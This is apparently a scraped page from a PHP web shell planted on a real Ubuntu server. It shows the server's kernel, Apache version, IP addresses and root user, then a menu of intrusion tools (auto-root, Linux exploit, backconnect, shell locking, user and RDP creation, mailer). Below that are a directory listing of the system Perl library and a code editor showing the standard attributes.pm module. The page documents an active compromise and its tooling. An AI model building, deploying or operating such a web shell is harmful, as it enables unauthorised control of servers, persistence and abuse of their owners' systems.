Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
x86_64-linux-gnu /
perl /
5.26.1 /
[ HOME SHELL ]
Name
Size
Permission
Action
B
[ DIR ]
drwxr-xr-x
CORE
[ DIR ]
drwxr-xr-x
Compress
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Hash
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
MIME
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Scalar
[ DIR ]
drwxr-xr-x
Sub
[ DIR ]
drwxr-xr-x
Sys
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
asm
[ DIR ]
drwxr-xr-x
asm-generic
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
bits
[ DIR ]
drwxr-xr-x
gnu
[ DIR ]
drwxr-xr-x
linux
[ DIR ]
drwxr-xr-x
sys
[ DIR ]
drwxr-xr-x
threads
[ DIR ]
drwxr-xr-x
B.pm
30.72
KB
-rw-r--r--
Config.pm
3.29
KB
-rw-r--r--
Config.pod
250.68
KB
-rw-r--r--
Config_git.pl
409
B
-rw-r--r--
Config_heavy.pl
53.13
KB
-rw-r--r--
Cwd.pm
18.1
KB
-rw-r--r--
DB_File.pm
63.52
KB
-rw-r--r--
DynaLoader.pm
10.23
KB
-rw-r--r--
Encode.pm
35.64
KB
-rw-r--r--
Errno.pm
4.82
KB
-rw-r--r--
Fcntl.pm
2.11
KB
-rw-r--r--
GDBM_File.pm
1.51
KB
-rw-r--r--
IO.pm
469
B
-rw-r--r--
NDBM_File.pm
2.44
KB
-rw-r--r--
O.pm
4.11
KB
-rw-r--r--
ODBM_File.pm
2.33
KB
-rw-r--r--
Opcode.pm
15.52
KB
-rw-r--r--
POSIX.pm
19.72
KB
-rw-r--r--
POSIX.pod
71.98
KB
-rw-r--r--
SDBM_File.pm
3.46
KB
-rw-r--r--
Socket.pm
13.24
KB
-rw-r--r--
Storable.pm
42.23
KB
-rw-r--r--
_h2ph_pre.ph
28.63
KB
-rw-r--r--
arybase.pm
2.75
KB
-rw-r--r--
attributes.pm
3.03
KB
-rw-r--r--
encoding.pm
22.45
KB
-rw-r--r--
endian.ph
4.36
KB
-rw-r--r--
errno.ph
23
B
-rw-r--r--
features.ph
12.64
KB
-rw-r--r--
lib.pm
2.23
KB
-rw-r--r--
mro.pm
9.86
KB
-rw-r--r--
ops.pm
997
B
-rw-r--r--
re.pm
8.5
KB
-rw-r--r--
signal.ph
3.3
KB
-rw-r--r--
stdarg.ph
2.8
KB
-rw-r--r--
stdc-predef.ph
921
B
-rw-r--r--
stddef.ph
12.08
KB
-rw-r--r--
syscall.ph
86
B
-rw-r--r--
sysexits.ph
1.26
KB
-rw-r--r--
syslimits.ph
452
B
-rw-r--r--
syslog.ph
85
B
-rw-r--r--
threads.pm
35.69
KB
-rw-r--r--
wait.ph
83
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : attributes.pm
package attributes; our $VERSION = 0.29; @EXPORT_OK = qw(get reftype); @EXPORT = (); %EXPORT_TAGS = (ALL => [@EXPORT, @EXPORT_OK]); use strict; sub croak { require Carp; goto &Carp::croak; } sub carp { require Carp; goto &Carp::carp; } my %deprecated; $deprecated{CODE} = qr/\A-?(locked)\z/; $deprecated{ARRAY} = $deprecated{HASH} = $deprecated{SCALAR} = qr/\A-?(unique)\z/; my %msg = ( lvalue => 'lvalue attribute applied to already-defined subroutine', -lvalue => 'lvalue attribute removed from already-defined subroutine', const => 'Useless use of attribute "const"', ); sub _modify_attrs_and_deprecate { my $svtype = shift; # Now that we've removed handling of locked from the XS code, we need to # remove it here, else it ends up in @badattrs. (If we do the deprecation in # XS, we can't control the warning based on *our* caller's lexical settings, # and the warned line is in this package) grep { $deprecated{$svtype} && /$deprecated{$svtype}/ ? do { require warnings; warnings::warnif('deprecated', "Attribute \"$1\" is deprecated, " . "and will disappear in Perl 5.28"); 0; } : $svtype eq 'CODE' && exists $msg{$_} ? do { require warnings; warnings::warnif( 'misc', $msg{$_} ); 0; } : 1 } _modify_attrs(@_); } sub import { @_ > 2 && ref $_[2] or do { require Exporter; goto &Exporter::import; }; my (undef,$home_stash,$svref,@attrs) = @_; my $svtype = uc reftype($svref); my $pkgmeth; $pkgmeth = UNIVERSAL::can($home_stash, "MODIFY_${svtype}_ATTRIBUTES") if defined $home_stash && $home_stash ne ''; my @badattrs; if ($pkgmeth) { my @pkgattrs = _modify_attrs_and_deprecate($svtype, $svref, @attrs); @badattrs = $pkgmeth->($home_stash, $svref, @pkgattrs); if (!@badattrs && @pkgattrs) { require warnings; return unless warnings::enabled('reserved'); @pkgattrs = grep { m/\A[[:lower:]]+(?:\z|\()/ } @pkgattrs; if (@pkgattrs) { for my $attr (@pkgattrs) { $attr =~ s/\(.+\z//s; } my $s = ((@pkgattrs == 1) ? '' : 's'); carp "$svtype package attribute$s " . "may clash with future reserved word$s: " . join(' : ' , @pkgattrs); } } } else { @badattrs = _modify_attrs_and_deprecate($svtype, $svref, @attrs); } if (@badattrs) { croak "Invalid $svtype attribute" . (( @badattrs == 1 ) ? '' : 's') . ": " . join(' : ', @badattrs); } } sub get ($) { @_ == 1 && ref $_[0] or croak 'Usage: '.__PACKAGE__.'::get $ref'; my $svref = shift; my $svtype = uc reftype($svref); my $stash = _guess_stash($svref); $stash = caller unless defined $stash; my $pkgmeth; $pkgmeth = UNIVERSAL::can($stash, "FETCH_${svtype}_ATTRIBUTES") if defined $stash && $stash ne ''; return $pkgmeth ? (_fetch_attrs($svref), $pkgmeth->($stash, $svref)) : (_fetch_attrs($svref)) ; } sub require_version { goto &UNIVERSAL::VERSION } require XSLoader; XSLoader::load(); 1; __END__ #The POD goes here
Close
